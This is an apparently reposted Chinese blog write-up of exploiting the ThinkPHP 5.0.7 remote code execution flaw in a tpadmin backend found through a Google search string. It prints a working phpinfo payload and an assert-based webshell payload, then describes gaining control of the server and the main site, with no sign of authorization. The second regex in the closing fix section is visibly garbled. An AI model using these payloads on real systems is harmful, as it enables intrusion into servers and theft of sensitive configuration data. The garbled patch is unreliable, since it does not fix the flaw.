某智能出行网站渗透测试过程

2019-11-16 约 75 字 预计阅读 1 分钟

声明:本文 【某智能出行网站渗透测试过程】 由作者 0aspir1ng0 于 2019-11-16 11:04:42 首发 先知社区 曾经 浏览数 148 次

感谢 0aspir1ng0 的辛苦付出!

ThinkPHP 5 RCE tpadmin

[toc]

之前爆出了能利用ThinkPHP5 远程命令执行漏洞,没什么事情干,就简单的查看了下所涉及到的系统,发现tpadmin后台管理系统以及tpshop商城系统等所有基于ThinkPHP5开发的系统都不可避免的出现了这个远程命令执行漏洞。此漏洞的利用程度十分简单,但危害十分巨大。目前ThinkPHP5 官方已经更新并修复此漏洞了,但是基于ThinkPHP5的二次开发的系统仍然有一大部分没有修复漏洞,因此可以利用此漏洞获取服务器权限。

0x01 发现问题


通过Google搜索tpadmin后台的特征为inrul:/pub/login.html。我找到了一个基于thinkphp5开发的tpadmin后台管理系统,某平衡车网站的,http://xxx.com/admin/pub/index.php?m=1( <font color="red">声明:本文中出现的域名、IP等均被替换,并非真实存在,请勿测试</font> )。通过测试发现其存在ThinkPHP5 远程命令执行漏洞。

0x02 测试过程


从上图可以看见ThinkPHP5版本是5.0.7的,根据l3m0n的这篇ThinkPHP5 RCE漏洞分析,我们可以构造出显示phpinfo的payload:

POST /admin/pub/index.php?m=1 HTTP/1.1

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上图可以看见,网站成功执行了我的phpinfo命令,于是我们更进一步,构造一个payload来获得网站服务器权限。

POST /admin/pub/index.php?m=assert($_POST[1]) HTTP/1.1

<O>_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]</O>

配置、连上菜刀看看,发现该服务器下部署了多个网站,其中主站也在其中。

我们可以看到,直接放访问主站成功,说明主站权限也被获取了。

在主站中,能获取到大量敏感信息和配置文件等,例如:/ThinkPHP/Conf/convention.php文件:

0x03 修复方案


由于这个漏洞的形成原因在于控制器过滤不严导致远程命令执行,所以修复方法的话,就直接在在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);}

如果改完后404,尝试修改正则,加上\/

if (!preg_match(‘/^A-Za-z\/*/’, controller)) {

0x04 参考文章


关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now